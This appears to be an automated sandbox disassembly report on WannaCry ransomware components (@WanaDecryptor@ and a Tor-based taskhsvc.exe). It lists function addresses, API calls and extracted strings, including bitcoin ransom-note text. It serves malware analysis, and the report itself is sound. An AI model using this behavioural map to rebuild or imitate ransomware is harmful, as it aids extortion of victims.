#693.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403224
#641.MFC42(?,?,?,?,?,?,?,00403188), ref: 00403233

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004047C0, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 154

APIs

Part of subcall function 004049B0: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 004049F5
Part of subcall function 004049B0: GetFileSize.KERNEL32(00000000,00000000), ref: 00404A0B
Part of subcall function 004049B0: GlobalAlloc.KERNEL32(00000000,00000000), ref: 00404A3A
Part of subcall function 004049B0: ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 00404A52
Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404A85
Part of subcall function 004049B0: _local_unwind2.MSVCRT ref: 00404AC7

_local_unwind2.MSVCRT ref: 004048EB
strncmp.MSVCRT(00000000,?), ref: 00404951
_local_unwind2.MSVCRT ref: 00404964

Strings

TESTDATA, xrefs: 004047EE

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00403AF0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132

APIs

fopen.MSVCRT ref: 00403B17

Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000,?), ref: 00402055
Part of subcall function 00402020: GlobalAlloc.KERNEL32(00000000,00100000), ref: 0040206D

fgets.MSVCRT ref: 00403BD1

Part of subcall function 00402650: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000167,00000167), ref: 00402688

fclose.MSVCRT ref: 00403C62

Strings

f.wnry, xrefs: 00403B12

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040B6A0, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 83

APIs

CreateDirectoryA.KERNEL32(?,00000000,?,0001D65A,00000000,00000428), ref: 0040B6B4
DeleteFileA.KERNEL32(?), ref: 0040B6D9
sprintf.MSVCRT ref: 0040B74E

Part of subcall function 00412A00: #825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A45
Part of subcall function 00412A00: #825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A62
Part of subcall function 00412A00: #825.MFC42(5D5E5F01,00000000,?,0040B770,00000000), ref: 00412A75
Part of subcall function 00412A00: #825.MFC42(0040B770,00000000,?,0040B770,00000000), ref: 00412A7E

Strings

%s\%s, xrefs: 0040B748

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040D300, Relevance: 6.2, APIs: 4, Instructions: 159

APIs

Part of subcall function 00412A90: malloc.MSVCRT ref: 00412A95

Part of subcall function 0040D2B0: memmove.MSVCRT ref: 0040D2E1

time.MSVCRT ref: 0040D408
Sleep.KERNEL32(00000064), ref: 0040D46B
time.MSVCRT ref: 0040D487
free.MSVCRT(?), ref: 0040D4A9

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040D150, Relevance: 6.1, APIs: 4, Instructions: 122

APIs

time.MSVCRT ref: 0040D15D
srand.MSVCRT ref: 0040D163
rand.MSVCRT ref: 0040D16B
rand.MSVCRT ref: 0040D185

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 004108A0, Relevance: 6.1, APIs: 4, Instructions: 107

APIs

CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000), ref: 004108FB
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,FFFFFFFF,?,00000000,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041092C
#823.MFC42(00000020,?,00411CAF,?,?,FFFFFFFF,?), ref: 0041093A
SetFilePointer.KERNEL32(?,00000000,00000000,00000001,?,?), ref: 004109A2

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00412250, Relevance: 6.1, APIs: 4, Instructions: 100

APIs

CreateDirectoryA.KERNEL32(?,00000000,?,?), ref: 0041234C

Part of subcall function 00412250: GetFileAttributesA.KERNEL32(?,?,?), ref: 00412264
Part of subcall function 00412250: CreateDirectoryA.KERNEL32(?,00000000), ref: 00412272

GetFileAttributesA.KERNEL32(00000000), ref: 00412338

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00406A00, Relevance: 6.1, APIs: 4, Instructions: 70

APIs

#4476.MFC42(?,?,?), ref: 00406A15
#3089.MFC42 ref: 00406A3A
#3089.MFC42 ref: 00406A48
#3089.MFC42 ref: 00406A56

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040D0A0, Relevance: 6.1, APIs: 4, Instructions: 64

APIs

time.MSVCRT ref: 0040D0AD
srand.MSVCRT ref: 0040D0B3
rand.MSVCRT ref: 0040D0BB
rand.MSVCRT ref: 0040D0D3

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00405180, Relevance: 6.1, APIs: 4, Instructions: 51

APIs

_mbscmp.MSVCRT ref: 00405191
#860.MFC42(?), ref: 004051A1
RedrawWindow.USER32(?,00000000,00000000,00000121), ref: 004051DE
InvalidateRect.USER32(?,00000000,00000001), ref: 004051F2

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00412A00, Relevance: 6.0, APIs: 4, Instructions: 45

APIs

#825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A45
#825.MFC42(?,00000000,?,0040B770,00000000), ref: 00412A62
#825.MFC42(5D5E5F01,00000000,?,0040B770,00000000), ref: 00412A75
#825.MFC42(0040B770,00000000,?,0040B770,00000000), ref: 00412A7E

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 0040DAD0, Relevance: 6.0, APIs: 4, Instructions: 45

APIs

#21.WS2_32 ref: 0040DB05
#19.WS2_32(?,?,00000001,00000000), ref: 0040DB17
#22.WS2_32(?,00000002), ref: 0040DB23
#3.WS2_32(?), ref: 0040DB2D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404430, Relevance: 6.0, APIs: 4, Instructions: 44

APIs

_TrackMouseEvent.COMCTL32(00000010), ref: 00404463
#2379.MFC42 ref: 0040446F
#2379.MFC42 ref: 004044AA

Part of subcall function 00404530: #289.MFC42 ref: 0040455F
Part of subcall function 00404530: #5789.MFC42(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,004137C8), ref: 00404574
Part of subcall function 00404530: GetTextExtentPoint32A.GDI32(?,?,?,?), ref: 0040458D
Part of subcall function 00404530: #5789.MFC42(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 004045A6
Part of subcall function 00404530: #613.MFC42 ref: 004045BB

SetCursor.USER32(?), ref: 004044A2

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404CF0, Relevance: 6.0, APIs: 4, Instructions: 37

APIs

#2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D2C
#2414.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D4B
#800.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D5E
#641.MFC42(?,?,?,?,?,?,?,00404CD8), ref: 00404D6D

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00404170, Relevance: 6.0, APIs: 4, Instructions: 34

APIs

#2414.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041B2
#800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041C5
#800.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041D2
#795.MFC42(?,?,?,?,?,?,?,00404158), ref: 004041E1

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00402E00, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 57

APIs

#825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E44
#825.MFC42(?,?,00000000,?,?,0040276A,?,?,?), ref: 00402E56

Strings

j'@, xrefs: 00402E00, 00402E7A

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Function 00407650, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 24

APIs

#2379.MFC42(00000001), ref: 00407667
#2379.MFC42 ref: 00407692

Part of subcall function 0040B620: FindWindowW.USER32(00000000,00000000), ref: 0040B628
Part of subcall function 0040B620: ShowWindow.USER32(00000000,00000005), ref: 0040B638
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FF,00000000,00000000,00000000,00000000,00000043), ref: 0040B651
Part of subcall function 0040B620: SetWindowPos.USER32(00000000,000000FE,00000000,00000000,00000000,00000000,00000043), ref: 0040B660
Part of subcall function 0040B620: SetForegroundWindow.USER32(00000000), ref: 0040B663
Part of subcall function 0040B620: SetFocus.USER32(00000000), ref: 0040B66A
Part of subcall function 0040B620: SetActiveWindow.USER32(00000000), ref: 0040B671
Part of subcall function 0040B620: BringWindowToTop.USER32(00000000), ref: 0040B678
Part of subcall function 0040B620: ExitProcess.KERNEL32 ref: 0040B689

Part of subcall function 004076A0: time.MSVCRT ref: 004076DA
Part of subcall function 004076A0: sprintf.MSVCRT ref: 0040780E
Part of subcall function 004076A0: SendMessageA.USER32(?,00000402,?,00000000), ref: 0040785B
Part of subcall function 004076A0: SendMessageA.USER32(?,00000402,?,00000000), ref: 00407870
Part of subcall function 004076A0: #540.MFC42 ref: 00407876
Part of subcall function 004076A0: _ftol.MSVCRT ref: 004078AA
Part of subcall function 004076A0: #2818.MFC42(?,$%d,00000000), ref: 004078BE
Part of subcall function 004076A0: #2818.MFC42(?,Send $%d worth of bitcoin to this address:,00000000), ref: 004078D1
Part of subcall function 004076A0: #2818.MFC42(?,%.1f BTC,?,?), ref: 004078F5
Part of subcall function 004076A0: #2818.MFC42(?,Send %.1f BTC to this address:,?,?), ref: 00407909
Part of subcall function 004076A0: #3092.MFC42(00000402,?), ref: 0040791D
Part of subcall function 004076A0: #6199.MFC42(00000402,?), ref: 00407924
Part of subcall function 004076A0: InvalidateRect.USER32(?,00000000,00000001), ref: 0040795A
Part of subcall function 004076A0: #800.MFC42 ref: 0040799F

Strings

Wana Decrypt0r 2.0, xrefs: 00407683

Memory Dump Source

Source File: 00000012.00000001.1667276534.00401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000001.1667261562.00400000.00000002.sdmp
Associated: 00000012.00000001.1667296194.00415000.00000002.sdmp
Associated: 00000012.00000001.1667823221.0041F000.00000008.sdmp
Associated: 00000012.00000001.1668481800.00422000.00000004.sdmp
Associated: 00000012.00000001.1668680404.00423000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_1_400000_@WanaDecryptor@.jbxd

Analysis Process: taskhsvc.exe PID: 3500 Parent PID: 3408

Executed Functions

Function 001C11FD, Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 157

APIs

Part of subcall function 003F6BB0: VirtualQuery.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 003F6D3B
Part of subcall function 003F6BB0: VirtualProtect.KERNELBASE ref: 003F6D6C

SetUnhandledExceptionFilter.KERNEL32 ref: 001C1285
malloc.MSVCRT ref: 001C134A
strlen.MSVCRT ref: 001C136A
malloc.MSVCRT ref: 001C1375
memcpy.MSVCRT ref: 001C1391
_cexit.MSVCRT ref: 001C13FF
_amsg_exit.MSVCRT ref: 001C142B
_initterm.MSVCRT ref: 001C144D
exit.MSVCRT ref: 001C14AE

Part of subcall function 003F6F10: GetSystemTimeAsFileTime.KERNEL32 ref: 003F6F49
Part of subcall function 003F6F10: GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,001C14F2), ref: 003F6F5A
Part of subcall function 003F6F10: GetCurrentThreadId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,001C14F2), ref: 003F6F62
Part of subcall function 003F6F10: GetTickCount.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,001C14F2), ref: 003F6F6A
Part of subcall function 003F6F10: QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,001C14F2), ref: 003F6F79

Strings

:[#, xrefs: 001C13B1
2Y#, xrefs: 001C1279

Memory Dump Source

Source File: 00000013.00000002.1855013399.001C1000.00000020.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855040395.001CA000.00000040.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 001EC647, Relevance: 17.8, APIs: 6, Strings: 4, Instructions: 304

APIs

Part of subcall function 0021F792: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00206074), ref: 0021F7B2

abort.MSVCRT ref: 001EC6C4
abort.MSVCRT ref: 001EC703
abort.MSVCRT ref: 001EC742

Part of subcall function 00316F50: __stack_chk_fail.LIBSSP-0 ref: 00316FA6

Part of subcall function 001EAE16: free.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,001EB1E9), ref: 001EAE92
Part of subcall function 001EAE16: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,?,?,?,?,?,?,?,?,001EB1E9), ref: 001EAEC5

Part of subcall function 001EAECC: __stack_chk_fail.LIBSSP-0 ref: 001EAEF2

Part of subcall function 0031721B: __stack_chk_fail.LIBSSP-0(?,?,?,?,?,00316FE0), ref: 0031724B

Part of subcall function 001F4130: abort.MSVCRT ref: 001F419F
Part of subcall function 001F4130: __stack_chk_fail.LIBSSP-0 ref: 001F43C1

abort.MSVCRT ref: 001EC9EF
connect.WS2_32 ref: 001ECA38
__stack_chk_fail.LIBSSP-0 ref: 001ECB59

Part of subcall function 0031910D: __stack_chk_fail.LIBSSP-0 ref: 00319194

Part of subcall function 0031919B: strerror.MSVCRT ref: 003191ED
Part of subcall function 0031919B: __stack_chk_fail.LIBSSP-0 ref: 003191FD

Part of subcall function 00316DE9: __stack_chk_fail.LIBSSP-0 ref: 00316E9A

Part of subcall function 001F33ED: __stack_chk_fail.LIBSSP-0 ref: 001F351A

Part of subcall function 00313842: __stack_chk_fail.LIBSSP-0 ref: 003138B7

Part of subcall function 001C1956: abort.MSVCRT ref: 001C19AF
Part of subcall function 001C1956: abort.MSVCRT ref: 001C1A60
Part of subcall function 001C1956: abort.MSVCRT ref: 001C1AA4
Part of subcall function 001C1956: event_new.LIBEVENT-2-0-5 ref: 001C1B0F
Part of subcall function 001C1956: event_new.LIBEVENT-2-0-5 ref: 001C1B47
Part of subcall function 001C1956: __stack_chk_fail.LIBSSP-0 ref: 001C1BD3

Part of subcall function 00316562: strrchr.MSVCRT ref: 00316586
Part of subcall function 00316562: strrchr.MSVCRT ref: 0031659C
Part of subcall function 00316562: __stack_chk_fail.LIBSSP-0 ref: 00316601

Part of subcall function 00319764: __stack_chk_fail.LIBSSP-0 ref: 00319857

Part of subcall function 003138BE: free.MSVCRT ref: 0031395B
Part of subcall function 003138BE: __stack_chk_fail.LIBSSP-0 ref: 00313978

Part of subcall function 0031985E: __stack_chk_fail.LIBSSP-0 ref: 00319A18

Strings

\yA, xrefs: 001ECA85
in progress, xrefs: 001ECACB
3', xrefs: 001ECA65
established, xrefs: 001ECAD2

Memory Dump Source

Source File: 00000013.00000002.1855040395.001CA000.00000040.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000013.00000002.1854999429.001C0000.00000002.sdmp
Associated: 00000013.00000002.1855013399.001C1000.00000020.sdmp
Associated: 00000013.00000002.1855026342.001C9000.00000080.sdmp
Associated: 00000013.00000002.1855065746.00225000.00000080.sdmp
Associated: 00000013.00000002.1855077166.00228000.00000040.sdmp
Associated: 00000013.00000002.1855089255.0022F000.00000080.sdmp
Associated: 00000013.00000002.1855104216.00230000.00000040.sdmp
Associated: 00000013.00000002.1855122824.00266000.00000080.sdmp
Associated: 00000013.00000002.1855138358.00267000.00000040.sdmp
Associated: 00000013.00000002.1855155118.0028B000.00000080.sdmp
Associated: 00000013.00000002.1855168257.0028C000.00000040.sdmp
Associated: 00000013.00000002.1855182515.0028D000.00000080.sdmp
Associated: 00000013.00000002.1855196147.00290000.00000040.sdmp
Associated: 00000013.00000002.1855225498.002D3000.00000080.sdmp
Associated: 00000013.00000002.1855239885.002D4000.00000040.sdmp
Associated: 00000013.00000002.1855254056.002D6000.00000080.sdmp
Associated: 00000013.00000002.1855272578.002D7000.00000040.sdmp
Associated: 00000013.00000002.1855294963.002D8000.00000080.sdmp
Associated: 00000013.00000002.1855305598.002D9000.00000040.sdmp
Associated: 00000013.00000002.1855317495.002DA000.00000080.sdmp
Associated: 00000013.00000002.1855329417.002DC000.00000040.sdmp
Associated: 00000013.00000002.1855351346.00348000.00000080.sdmp
Associated: 00000013.00000002.1855370256.003BA000.00000040.sdmp
Associated: 00000013.00000002.1855382391.003C3000.00000080.sdmp
Associated: 00000013.00000002.1855395021.003C4000.00000040.sdmp
Associated: 00000013.00000002.1855406286.003C6000.00000080.sdmp
Associated: 00000013.00000002.1855419002.003CA000.00000040.sdmp
Associated: 00000013.00000002.1855435469.003CC000.00000080.sdmp
Associated: 00000013.00000002.1855447997.003CE000.00000040.sdmp
Associated: 00000013.00000002.1855459106.003CF000.00000080.sdmp
Associated: 00000013.00000002.1855472726.003D0000.00000040.sdmp
Associated: 00000013.00000002.1855490051.003D3000.00000080.sdmp
Associated: 00000013.00000002.1855500813.003D4000.00000040.sdmp
Associated: 00000013.00000002.1855512417.003D8000.00000080.sdmp
Associated: 00000013.00000002.1855523270.003D9000.00000040.sdmp
Associated: 00000013.00000002.1855533374.003E0000.00000080.sdmp
Associated: 00000013.00000002.1855544480.003E1000.00000040.sdmp
Associated: 00000013.00000002.1855556363.003E4000.00000080.sdmp
Associated: 00000013.00000002.1855569787.003E5000.00000040.sdmp
Associated: 00000013.00000002.1855588250.003F6000.00000080.sdmp
Associated: 00000013.00000002.1855603610.003FE000.00000004.sdmp
Associated: 00000013.00000002.1855617063.003FF000.00000008.sdmp
Associated: 00000013.00000002.1855627940.00400000.00000004.sdmp
Associated: 00000013.00000002.1855639237.00402000.00000008.sdmp
Associated: 00000013.00000002.1855664504.00403000.00000004.sdmp
Associated: 00000013.00000002.1855675077.00405000.00000008.sdmp
Associated: 00000013.00000002.1855685431.0040B000.00000004.sdmp
Associated: 00000013.00000002.1855695362.0040C000.00000002.sdmp
Associated: 00000013.00000002.1855714597.0049D000.00000004.sdmp
Associated: 00000013.00000002.1855722372.004A3000.00000008.sdmp
Associated: 00000013.00000002.1855730014.004A8000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_1c0000_taskhsvc.jbxd

Function 00335EA1, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 67

APIs

ERR_load_crypto_strings.LIBEAY32 ref: 00335EC8
OPENSSL_add_all_algorithms_noconf.LIBEAY32 ref: 00335ECD

Part of subcall function 0033D6F1: CRYPTO_num_locks.LIBEAY32(?,?,?,?,?,?,-00000001,?,00335ED7), ref: 0033D702
